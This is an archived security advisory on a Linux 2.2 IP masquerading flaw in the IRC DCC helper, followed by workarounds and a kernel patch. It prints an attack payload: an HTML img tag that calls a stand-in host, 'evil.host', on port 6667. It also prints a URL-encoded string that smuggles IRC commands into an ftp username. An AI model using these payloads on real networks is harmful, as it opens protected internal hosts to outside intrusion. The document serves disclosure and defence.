COMMAND
kernel
SYSTEMS AFFECTED
Linux 2.0, Linux 2.2, and possibly other systems
PROBLEM
Following is based on a RAZOR BindView Advisory by M. Zalewski.
A remotely exploitable IP masquerading vulnerability in the Linux
kernel can be used to penetrate protected private networks.
There was a discussion last year that detailed exploiting NAT
packet inspection mechanisms on Linux and other operating systems
by forcing a client's browser or MUA software to send specific
data patterns without the user's knowledge in order to open an
inbound TCP port on the firewall. The original advisory by Mikael
Olsson discussed the FTP masquerading helper vulnerability. When
found in outbound traffic, the specific pattern sent by the
client software is interpreted by the firewall as being a
legitimate, user-initiated transfer request. Certain external
systems are then temporarily allowed to initiate inbound
connections to the location specified in the malicious packet by
using the firewall as a packet forwarder.
Appropriate (but not necessarily sufficient - see the later
explainations) workarounds were incorporated in Linux kernels
released after the original advisory and are now present in
numerous firewall operating systems.
Unfortunately, protocols other than those mentioned in the
original discussions seem to be vulnerable as well. BindView
found that IRC DCC helper (the Linux 2.2 ip_masq_irc module, and
modules shipped with some other operating systems / firewalling
software) can be exploited with
<img src="ftp://evil.host:6667/%01DCC%20SEND%20file%20addr%20port">
or another similar pattern, depending on the helper implementation
details ("addr" is the internal machine's IP address as a decimal
integer).
This sequence can be crafted in an HTML e-mail or on a visited
webpage. The attacker should listen on tcp port 6667 on the
specified remote host ("evil.host") and generate valid FTP
protocol responses. The attacker will then receive information
about the port number on the firewall that will be forwarded into
the protected network.
SOLUTION
This new NAT server vulnerability related to DCC simply adds to
the collection of similar vulnerabilities found in various other
protocols, none of which have been fixed in any comprehensive
way. In general, the following five types of workarounds might
be used:
1) Configure the NAT server to only allow a certain range of
ports in processed requests. This workaround (only ports
above 1024 are allowed) is currently implemented by Linux and
other vendors. Unfortunately, this does not stop attacks or
scans against any of the other thousands of high-port services
- among the most significant of these are NFS, X11, Microsoft
SQL Server, various RPC services, various HTTP proxy/cache
services, and various remote management/diagnostic services.
2) Have the firewall do more careful inspection of protocol
traffic. This could identify and block noncompliant IRC
client behavior, such as the behavior of an HTML e-mail client
when accessing an ftp URL. Unfortunately, this requires very
careful protocol tracking, and can be fooled by careful URL
construction (e.g., passing the following string as the ftp
username:
evilhacker%20+iw%20evilhacker%20evilhacker%0d%0anick%20hacker
and response fragmentation, or by using a Java applet.
3) Use a personal firewall (e.g., ZoneAlarm) on the internal
machine that asks for user verification before connecting to
an unusual port (6667) or before accepting suspected forwarded
connections. Suitable personal firewalls may not be available
for every OS.
4) Research, design, and develop some way for the NAT server to
ask the internal user whether he really requested an inbound
port (e.g., one-time challenge-response authentication).
5) Don't install helper modules on your NAT server. For any
protocol that needs a helper, require users to deploy a tunnel
instead.
The _actual_ working patch is attached, please apply this one:
--- linux/net/ipv4/ip_masq_irc.c.dist Sun Mar 25 13:31:12 2001
+++ linux/net/ipv4/ip_masq_irc.c Mon Jul 30 13:29:49 2001
@@ -22,6 +22,7 @@
* <sshore@escape.ca>
* Scottie Shore : added support for mIRC DCC resume negotiation
* <sshore@escape.ca>
+ * Juan Jose Ciarlante : src addr/port checking for better security (spotted by Michal Zalewski)
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License
@@ -38,7 +39,12 @@
* /etc/conf.modules (or /etc/modules.conf depending on your config)
* where modload will pick it up should you use modload to load your
* modules.
- *
+ *
+ * Insecure "back" data channel opening
+ * The helper does some trivial checks when opening a new DCC data
+ * channel. Use module parameter
+ * insecure=1
+ * ... to avoid this and get previous (pre 2.2.20) behaviour.
*/
#include <linux/config.h>
@@ -72,6 +78,9 @@
MODULE_PARM(ports, "1-" __MODULE_STRING(MAX_MASQ_APP_PORTS) "i");
+static int insecure=0;
+MODULE_PARM(insecure, "i");
+
/*
* List of supported DCC protocols
@@ -110,6 +119,30 @@
return 0;
}
+
+/*
+ * Ugly workaround [TM] --mummy ... why does this protocol sucks?
+ *
+ * The <1024 check and same source address just raise the
+ * security "feeling" => they don't prevent a redirector listening
+ * in same src address at a higher port; you should protect
+ * your internal network with ipchains output rules anyway
+ */
+
+static inline int masq_irc_out_check(const struct ip_masq *ms, __u32 data_saddr, __u16 data_sport) {
+ int allow=1;
+
+ IP_MASQ_DEBUG(1-debug, "masq_irc_out_check( s_addr=%d.%d.%d.%d, data_saddr=%d.%d.%d.%d, data_sport=%d",
+ NIPQUAD(ms->saddr), NIPQUAD(data_saddr), ntohs(data_sport));
+
+ /*
+ * Ignore data channel back to other src addr, nor to port < 1024
+ */
+ if (ms->saddr != data_saddr || ntohs(data_sport) < 1024)
+ allow=0;
+
+ return allow;
+}
int
masq_irc_out (struct ip_masq_app *mapp, struct ip_masq *ms, struct sk_buff **skb_p, __u32 maddr)
{
@@ -118,7 +151,7 @@
struct tcphdr *th;
char *data, *data_limit;
__u32 s_addr;
- __u16 s_port;
+ __u32 s_port; /* larger to allow strtoul() return value validation */
struct ip_masq *n_ms;
char buf[20]; /* "m_addr m_port" (dec base)*/
unsigned buf_len;
@@ -199,12 +232,25 @@
s_port = simple_strtoul(data,&data,10);
addr_end_p = data;
+ /* Sanity checks */
+ if (!s_addr || !s_port || s_port > 65535)
+ continue;
+
+ /* Prefer net order from now on */
+ s_addr = htonl(s_addr);
+ s_port = htons(s_port);
+
+ /* Simple validation */
+ if (!insecure && !masq_irc_out_check(ms, s_addr, s_port))
+ /* We may just: return 0; */
+ continue;
+
/* Do we already have a port open for this client?
* If so, use it (for DCC ACCEPT)
*/
n_ms = ip_masq_out_get(IPPROTO_TCP,
- htonl(s_addr),htons(s_port),
+ s_addr, s_port,
0, 0);
/*
@@ -216,7 +262,7 @@
if (n_ms==NULL)
n_ms = ip_masq_new(IPPROTO_TCP,
maddr, 0,
- htonl(s_addr),htons(s_port),
+ s_addr, s_port,
0, 0,
IP_MASQ_F_NO_DPORT|IP_MASQ_F_NO_DADDR);
if (n_ms==NULL)
@@ -236,7 +282,10 @@
diff = buf_len - (addr_end_p-addr_beg_p);
*addr_beg_p = '\0';
- IP_MASQ_DEBUG(1-debug, "masq_irc_out(): '%s' %X:%X detected (diff=%d)\n", dcc_p, s_addr,s_port, diff);
+ IP_MASQ_DEBUG(1-debug, "masq_irc_out(): '%s' %d.%d.%d.%d:%d -> %d.%d.%d.%d:%d detected (diff=%d)\n", dcc_p,
+ NIPQUAD(s_addr), htons(s_port),
+ NIPQUAD(n_ms->maddr), htons(n_ms->mport),
+ diff);
/*
* No shift.